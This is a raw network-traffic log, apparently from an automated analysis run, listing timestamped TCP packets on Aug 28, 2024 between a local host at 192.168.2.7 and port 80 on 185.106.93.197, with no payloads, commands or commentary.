                                                                      Aug 28, 2024 11:20:21.779618979 CEST6033380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:21.784423113 CEST8060333185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.004533052 CEST6033280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.009943008 CEST8060332185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.010639906 CEST8060332185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.051146984 CEST8060331185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.051213980 CEST6033180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.130539894 CEST6033380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.136379957 CEST8060333185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.136395931 CEST8060333185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.136406898 CEST8060333185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.284169912 CEST8060332185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.394649982 CEST6033280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.413028955 CEST8060332185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.423943996 CEST8060333185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.558729887 CEST8060333185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.558798075 CEST6033380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.597754002 CEST6033280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.680989981 CEST6033280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.681113958 CEST6033380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.681390047 CEST6033480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.686217070 CEST8060332185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.686239004 CEST8060334185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.686268091 CEST6033280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.686316967 CEST6033480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.686456919 CEST6033480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.686580896 CEST8060333185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:22.686623096 CEST6033380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:22.691226006 CEST8060334185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:23.035378933 CEST6033480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:23.040493011 CEST8060334185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:23.040529966 CEST8060334185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:23.040540934 CEST8060334185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:23.313024044 CEST8060334185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:23.444894075 CEST8060334185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:23.445025921 CEST6033480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:23.445260048 CEST6033480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:23.450562000 CEST8060334185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:23.451272964 CEST6033480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:23.567487001 CEST6033580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:23.740955114 CEST8060335185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:23.741172075 CEST6033580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:23.741298914 CEST6033580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:23.746419907 CEST8060335185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:24.097951889 CEST6033580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:24.102916956 CEST8060335185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:24.102930069 CEST8060335185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:24.102941036 CEST8060335185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:24.392267942 CEST8060335185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:24.504141092 CEST6033580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:24.725142002 CEST8060335185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:24.725159883 CEST8060335185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:24.725246906 CEST6033580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:24.847430944 CEST6033580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:24.847434044 CEST6033680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:24.852543116 CEST8060336185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:24.852791071 CEST8060335185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:24.852814913 CEST6033680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:24.852981091 CEST6033680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:24.853142023 CEST6033580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:24.857877016 CEST8060336185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:25.207273006 CEST6033680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:25.212709904 CEST8060336185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:25.212721109 CEST8060336185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:25.212729931 CEST8060336185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:25.515861034 CEST8060336185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:25.599412918 CEST6033680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:25.650638103 CEST8060336185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:25.768037081 CEST6028380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:25.768038988 CEST6028980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:25.771414995 CEST6033680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:25.775408030 CEST6033780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:25.780390978 CEST8060336185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:25.780406952 CEST8060337185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:25.780524969 CEST6033780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:25.780529022 CEST6033680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:25.780776978 CEST6033780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:25.785600901 CEST8060337185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:26.129219055 CEST6033780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:26.134249926 CEST8060337185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:26.134267092 CEST8060337185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:26.134278059 CEST8060337185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:26.443110943 CEST8060337185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:26.573062897 CEST8060337185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:26.573191881 CEST6033780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:26.689358950 CEST6033780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:26.689513922 CEST6033880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:26.819287062 CEST8060338185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:26.819327116 CEST8060337185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:26.819478035 CEST6033780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:26.819574118 CEST6033880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:26.819755077 CEST6033880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:26.824536085 CEST8060338185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.176038027 CEST6033880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:27.366082907 CEST8060338185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.366549015 CEST8060338185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.366585016 CEST8060338185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.426848888 CEST6033980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:27.427405119 CEST6033880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:27.432909966 CEST8060339185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.433271885 CEST8060338185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.433368921 CEST6033880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:27.433428049 CEST6033980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:27.433610916 CEST6033980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:27.439676046 CEST8060339185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.551423073 CEST6034080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:27.556284904 CEST8060340185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.559509993 CEST6034080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:27.563419104 CEST6034080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:27.568247080 CEST8060340185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.786375046 CEST6033980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:27.791254997 CEST8060339185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.791389942 CEST8060339185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.910968065 CEST6034080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:27.916805983 CEST8060340185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.916822910 CEST8060340185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:27.916831970 CEST8060340185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:28.056267977 CEST8060339185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:28.157423973 CEST6033980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:28.185395002 CEST8060339185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:28.252818108 CEST8060340185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:28.298942089 CEST6033980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:28.299134016 CEST6034080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:28.381119967 CEST8060340185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:28.500473022 CEST6033980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:28.500550985 CEST6034080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:28.501055002 CEST6034180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:28.505651951 CEST8060339185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:28.505728006 CEST6033980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:28.505820036 CEST8060341185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:28.505872011 CEST6034180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:28.505916119 CEST8060340185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:28.505951881 CEST6034080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:28.516506910 CEST6034180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:28.521647930 CEST8060341185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:28.868256092 CEST6034180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:28.873394966 CEST8060341185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:28.873493910 CEST8060341185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:28.873502970 CEST8060341185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:29.180565119 CEST8060341185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:29.316864967 CEST8060341185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:29.316905975 CEST6034180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:29.439101934 CEST6034180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:29.439101934 CEST6034280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:29.444169044 CEST8060342185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:29.444252014 CEST6034280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:29.444426060 CEST6034280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:29.444582939 CEST8060341185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:29.447453022 CEST6034180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:29.449573994 CEST8060342185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:29.801048040 CEST6034280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:29.806046009 CEST8060342185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:29.806062937 CEST8060342185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:29.806072950 CEST8060342185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:30.346839905 CEST8060342185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:30.347007990 CEST8060342185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:30.347048998 CEST8060342185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:30.347079039 CEST6034280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:30.347124100 CEST6034280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:30.468647957 CEST6034380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:30.473651886 CEST8060343185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:30.473741055 CEST6034380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:30.474185944 CEST6034380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:30.479039907 CEST8060343185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:30.835434914 CEST6034380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:30.840468884 CEST8060343185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:30.840497017 CEST8060343185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:30.840507984 CEST8060343185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:31.118094921 CEST8060343185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:31.249324083 CEST8060343185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:31.249458075 CEST6034380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:31.503426075 CEST6034380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:31.507411003 CEST6034480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:31.508733034 CEST8060343185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:31.511102915 CEST6034380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:31.512175083 CEST8060344185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:31.514288902 CEST6034480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:31.515419960 CEST6034480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:31.520180941 CEST8060344185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:31.863893986 CEST6034480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:31.868814945 CEST8060344185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:31.868828058 CEST8060344185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:31.868840933 CEST8060344185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:32.135902882 CEST8060344185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:32.207191944 CEST6034480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:32.264322042 CEST8060344185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:32.316561937 CEST6034480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:32.392966986 CEST6034480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:32.393598080 CEST6034580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:32.398505926 CEST8060344185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:32.398523092 CEST8060345185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:32.398564100 CEST6034480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:32.398600101 CEST6034580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:32.398752928 CEST6034580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:32.403543949 CEST8060345185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:32.754240036 CEST6034580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:32.759334087 CEST8060345185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:32.759354115 CEST8060345185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:32.759365082 CEST8060345185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.192676067 CEST6034580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.192676067 CEST6034680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.215275049 CEST8060345185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.215378046 CEST8060345185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.215401888 CEST6034580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.215408087 CEST8060345185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.215434074 CEST6034580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.215492964 CEST6034580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.216150045 CEST8060346185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.216300011 CEST6034680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.216547966 CEST6034680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.217282057 CEST8060345185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.219504118 CEST6034580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.221350908 CEST8060346185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.315428972 CEST6034780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.323303938 CEST8060347185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.323522091 CEST6034780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.323858023 CEST6034780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.328586102 CEST8060347185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.566701889 CEST6034680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.572516918 CEST8060346185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.572613955 CEST8060346185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.676620960 CEST6034780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:33.681536913 CEST8060347185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.681548119 CEST8060347185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.681557894 CEST8060347185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.884285927 CEST8060346185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:33.948163033 CEST8060347185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.013130903 CEST8060346185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.013200998 CEST6034680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.076896906 CEST8060347185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.076996088 CEST6034780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.209682941 CEST6034680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.209805965 CEST6034780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.210321903 CEST6034880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.214796066 CEST8060346185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.214899063 CEST6034680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.215059996 CEST8060348185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.215123892 CEST6034880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.215240002 CEST6034880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.215287924 CEST8060347185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.215326071 CEST6034780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.219976902 CEST8060348185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.566696882 CEST6034880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.571764946 CEST8060348185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.571887016 CEST8060348185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.571896076 CEST8060348185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.853630066 CEST8060348185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.895200968 CEST6034880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.981049061 CEST8060348185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.981405973 CEST6034880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:34.986517906 CEST8060348185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:34.986618042 CEST6034880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:35.094005108 CEST8060342185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:35.094079018 CEST6034280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:35.099112034 CEST6034980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:35.104367018 CEST8060349185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:35.104528904 CEST6034980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:35.104722977 CEST6034980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:35.109503984 CEST8060349185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:35.457350969 CEST6034980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:35.462326050 CEST8060349185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:35.462363958 CEST8060349185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:35.462372065 CEST8060349185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:35.755912066 CEST8060349185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:35.800992966 CEST6034980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:35.885137081 CEST8060349185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:35.925945997 CEST6034980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.004652023 CEST6034980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.004817963 CEST6035080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.009735107 CEST8060349185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:36.009821892 CEST6034980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.011701107 CEST8060350185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:36.011759043 CEST6035080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.011873007 CEST6035080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.017720938 CEST8060350185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:36.363826036 CEST6035080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.368786097 CEST8060350185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:36.368799925 CEST8060350185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:36.368809938 CEST8060350185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:36.655344963 CEST8060350185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:36.744071007 CEST6035080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.792813063 CEST8060350185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:36.907793999 CEST6035080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.907798052 CEST6035180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.913203001 CEST8060351185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:36.913299084 CEST6035180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.913305998 CEST8060350185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:36.913378954 CEST6035080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.913505077 CEST6035180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:36.918378115 CEST8060351185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:37.269825935 CEST6035180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:37.274841070 CEST8060351185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:37.274854898 CEST8060351185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:37.274866104 CEST8060351185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:37.535509109 CEST8060351185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:37.613564014 CEST6035180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:37.669147015 CEST8060351185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:37.761611938 CEST6035180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:37.782641888 CEST6035180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:37.782644987 CEST6035280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:37.787476063 CEST8060352185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:37.787719011 CEST8060351185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:37.787822008 CEST6035180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:37.788083076 CEST6035280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:37.788276911 CEST6035280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:37.793108940 CEST8060352185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:38.145032883 CEST6035280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:38.399230003 CEST8060352185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:38.596033096 CEST8060352185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:38.597014904 CEST8060352185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:38.630126953 CEST8060352185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:38.630311966 CEST6035280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:38.874999046 CEST8060352185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.000180006 CEST6035280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.000647068 CEST6035380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.005479097 CEST8060353185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.005620003 CEST6035380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.005646944 CEST8060352185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.005676985 CEST6035380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.005748987 CEST6035280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.010559082 CEST8060353185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.020226002 CEST6035380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.020685911 CEST6035480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.025532007 CEST8060354185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:20:39.025629997 CEST6035480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:20:39.025749922 CEST6035480192.168.2.7185.106.93.197
